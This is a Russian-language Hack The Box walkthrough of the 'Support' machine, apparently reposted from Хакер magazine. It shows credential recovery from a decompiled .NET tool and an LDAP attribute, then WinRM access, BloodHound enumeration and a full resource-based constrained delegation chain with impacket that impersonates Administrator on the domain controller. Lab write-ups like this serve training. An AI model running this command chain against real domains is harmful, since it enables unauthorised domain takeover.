Хакер - HTB Support. Проводим классическую атаку RBCD для захвата домена

Хакер - HTB Support. Проводим классическую атаку RBCD для захвата домена

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Локальное повышение привилегий
  • RBCD

В этом рай­тапе я покажу, как про­водить ата­ку RBCD для зах­вата домена Active Directory. Но сна­чала мы деком­пилиру­ем нес­ложное при­ложе­ние на .NET для получе­ния дос­тупа к LDAP, а затем получим учет­ную запись поль­зовате­ля.

На­ша цель — зах­ватить тре­ниро­воч­ную машину Support с пло­щад­ки Hack The Box. Ее уро­вень слож­ности обоз­начен как лег­кий.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.174 support.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем мно­го откры­тых пор­тов, что типич­но для сис­тем на базе ОС Windows:

  • 53 — служ­ба DNS;
  • 88 — служ­ба Kerberos;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC). Исполь­зует­ся для опе­раций вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 139 — служ­ба сеан­сов NetBIOS, NetLogon;
  • 389 — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 5985 — служ­ба уда­лен­ного управле­ния WinRM;
  • 9389 — веб‑служ­бы AD DS.

DNS ничего не дал, а вот SMB поз­воля­ет под­клю­чать­ся от име­ни гос­тя. Для работы я советую исполь­зовать CrackMapExec. К при­меру, получить спи­сок общих ресур­сов с соот­ветс­тву­ющи­ми раз­решени­ями мож­но парамет­ром --shares.

crackmapexec smb 10.10.11.174 -u guest -p '' --shares

ТОЧКА ВХОДА

Под­клю­чаем­ся к обще­му ресур­су и смот­рим, что мы можем отту­да заб­рать.

smbclient //10.10.11.174/support-tools -N

Со­дер­жимое катало­га support-tools

Боль­ше все­го, судя по наз­вани­ям фай­лов, нам инте­ресен UserInfo.exe.zip.

get UserInfo.exe.zip

Со­дер­жимое архи­ва UserInfo.exe.zip

Это при­ложе­ние на .NET, поэто­му мы можем его лег­ко деком­пилиро­вать с помощью dnSpy и про­ана­лизи­ровать исходный код. В нем мы находим класс Protected, метод getPassword которо­го дол­жен рас­шифро­вать и вер­нуть пароль.

Ис­ходный код клас­са Protected

Да­вай вос­ста­новим алго­ритм и узна­ем пароль.

enc_password = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"

key = b"armando"

import base64

e_password = base64.b64decode(enc_password)

dec_password = []

for i in range(len(e_password)):

dec_password.append(chr(e_password[i] ^ key[i % len(key)] ^ 223))

"".join(dec_password)

Рас­шифро­ван­ный пароль из при­ложе­ния

В ито­ге получа­ем пароль и про­дол­жаем ана­лиз при­ложе­ния.

ТОЧКА ОПОРЫ

В исходном коде клас­са LdapQuery мож­но узнать имя поль­зовате­ля, которое исполь­зует­ся при под­клю­чении к LDAP.

Ис­ходный код клас­са LdapQuery

У нас есть все необ­ходимые учет­ные дан­ные, поэто­му под­клю­чим­ся к служ­бе LDAP с помощью JXplorer.

Па­нель авто­риза­ции JXplorer
Глав­ное окно JXplorer

Пер­вым делом соберем и прос­мотрим информа­цию о поль­зовате­лях. Так, в атри­буте info поль­зовате­ля support можем получить какую‑то инте­рес­ную стро­ку.

Ат­рибуты поль­зовате­ля support

Воз­можно, это пароль. Про­верить гипоте­зу мож­но с помощью CrackMapExec.

crackmapexec smb 10.10.11.174 -u support -p Ironside47pleasure40Watchful

Про­вер­ка учет­ных дан­ных

Мы наш­ли пароль поль­зовате­ля домена, поп­робу­ем извлечь из это­го боль­ше информа­ции. На уда­лен­ном хос­те активна служ­ба уда­лен­ного управле­ния Windows, поэто­му получим спи­сок поль­зовате­лей груп­пы Remote Management Users.

crackmapexec smb 10.10.11.174 -u support -p Ironside47pleasure40Watchful --groups 'Remote Management Users'

Поль­зовате­ли в груп­пе Remote Management Users

Уз­наем, что наш поль­зователь может заходить на хост по WinRM. Дела­ем это с помощью evil-winrm и забира­ем пер­вый флаг.

evil-winrm -i 10.10.11.174 -u support -p Ironside47pleasure40Watchful

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь нуж­но разоб­рать­ся, куда дви­гать­ся даль­ше. Инс­тру­мен­ты WinPEAS и PowerUp ничего не дали, зна­чит, нуж­на более прод­винутая раз­ведка, в которой мы задей­ству­ем BloodHound.

Справка: BloodHound

Ути­лита BloodHound исполь­зует теорию гра­фов для выяв­ления скры­тых и зачас­тую неп­редна­мерен­ных вза­имос­вязей в сре­де Active Directory. Ее мож­но исполь­зовать, что­бы лег­ко иден­тифици­ровать очень слож­ные пути ата­ки. Помимо самой ути­литы, которая поз­воля­ет прос­матри­вать граф, сущес­тву­ет часть, заг­ружа­емая на уда­лен­ный хост для сбо­ра информа­ции. Она быва­ет в вер­сиях для Windows — на PowerShell или C# — и для Linux — на Python.

BloodHound

Пер­вым делом кача­ем с GitHub вер­сию наг­рузки BloodHound на Python:

git clone https://github.com/fox-it/BloodHound.py.git

cd BloodHound.py

python3 setup.py install

А теперь соберем информа­цию с целево­го хос­та, бла­го это не зай­мет мно­го вре­мени. В парамет­рах ука­зыва­ем учет­ные дан­ные для под­клю­чения, адрес хос­та и тип собира­емой информа­ции — всю (параметр -c, зна­чение all).

bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d support.htb -dc dc.support.htb -gc dc.support.htb -ns 10.10.11.174 --dns-tcp -c all

Ло­ги BloodHound

В логах видим, сколь­ко доменов, лесов и компь­юте­ров было най­дено, сколь­ко поль­зовате­лей и групп получе­но. BloodHound соз­даст в текущей дирек­тории нес­коль­ко фай­лов. Для работы с ними нам нуж­но уста­новить СУБД Neo4j и гра­фичес­кую оснас­тку BloodHound для пос­тро­ения гра­фа свя­зей.

sudo apt install neo4j bloodhound

За­пус­тим уста­нов­ленную СУБД коман­дой sudo neo4j console. Пос­ле сооб­щения об успешном стар­те зай­дем на http://localhost:7474/ через бра­узер. Нам сра­зу пред­ложат уста­новить пароль. Пос­ле уста­нов­ки пароля запус­каем BloodHound (коман­да bloodhound в коман­дной стро­ке) и авто­ризу­емся с толь­ко что уста­нов­ленным паролем. Откро­ется пус­тое окош­ко. Закиды­ваем в него получен­ные в резуль­тате работы bloodhound-python фай­лы.

В поле поис­ка ука­зыва­ем груп­пу поль­зовате­лей. На экра­не будут отоб­ражены все поль­зовате­ли из этой груп­пы, сре­ди которых най­дем всех под­кон­троль­ных нам и пометим как Mark User as Owned. На икон­ке поль­зовате­ля дол­жен появить­ся череп.

По­мечен­ный поль­зователь

За­тем перей­дем в гра­фу ана­лити­ки и поп­росим BloodHound най­ти путь прод­вижения к дру­гим поль­зовате­лям от уже взло­ман­ных (которых мы толь­ко помети­ли) — опция Shortest Path from Owned Principals. Так мы получим мар­шрут от поль­зовате­ля Support.

Граф пути повыше­ния при­виле­гий

Ес­ли сле­довать гра­фу, то целевой поль­зователь Support — член груп­пы Shared Support Accounts, которая, в свою оче­редь, име­ет пра­ва GenericAll (пол­ные пра­ва) на объ­ект кон­трол­лера домена.

RBCD

В дан­ном слу­чае мы можем про­вес­ти ата­ку RBCD. Обыч­ный спо­соб про­веде­ния этой ата­ки — соз­дать учет­ную запись компь­юте­ра, что может сде­лать каж­дый поль­зователь домена (по умол­чанию до десяти таких акка­унтов). Сде­лаем это с помощью скрип­та addcomputer из набора скрип­тов impacket.

impacket-addcomputer -computer-name 'ralf_pc$' -computer-pass 'RRrr!!11' -dc-ip 10.10.11.174 'support.htb'/'support':'Ironside47pleasure40Watchful'

Соз­дание учет­ной записи компь­юте­ра

Но­вый SPN необ­ходимо ука­зать вот в этом атри­буте целево­го объ­екта (в нашем слу­чае кон­трол­лера домена):

msDS-AllowedToActOnBehalfOfOtherIdentity

Для это­го мож­но исполь­зовать го­товый скрипт.

python3 rbcd.py -f RALF_PC -t DC -dc-ip 10.10.11.174 'support.htb'\'support':'Ironside47pleasure40Watchful'

За­пол­нение целево­го атри­бута

За­тем, исполь­зуя дан­ные этой учет­ной записи, зло­умыш­ленник может получить тикет через зап­росы S4U2Self и S4U2Proxy. В этом тоже поможет пакет скрип­тов impacket.

impacket-getST -spn host/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 'support.htb'/'ralf_pc$':'RRrr!!11'

Зап­рос тикета

Пос­ле получе­ния тикета мож­но исполь­зовать Pass-the-Ticket для дос­тупа к целево­му хос­ту. Экспор­тиру­ем билет и под­клю­чаем­ся к сер­веру по WMI.

export KRB5CCNAME=Administrator.ccache

impacket-wmiexec -k -no-pass support.htb/Administrator@dc.support.htb

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page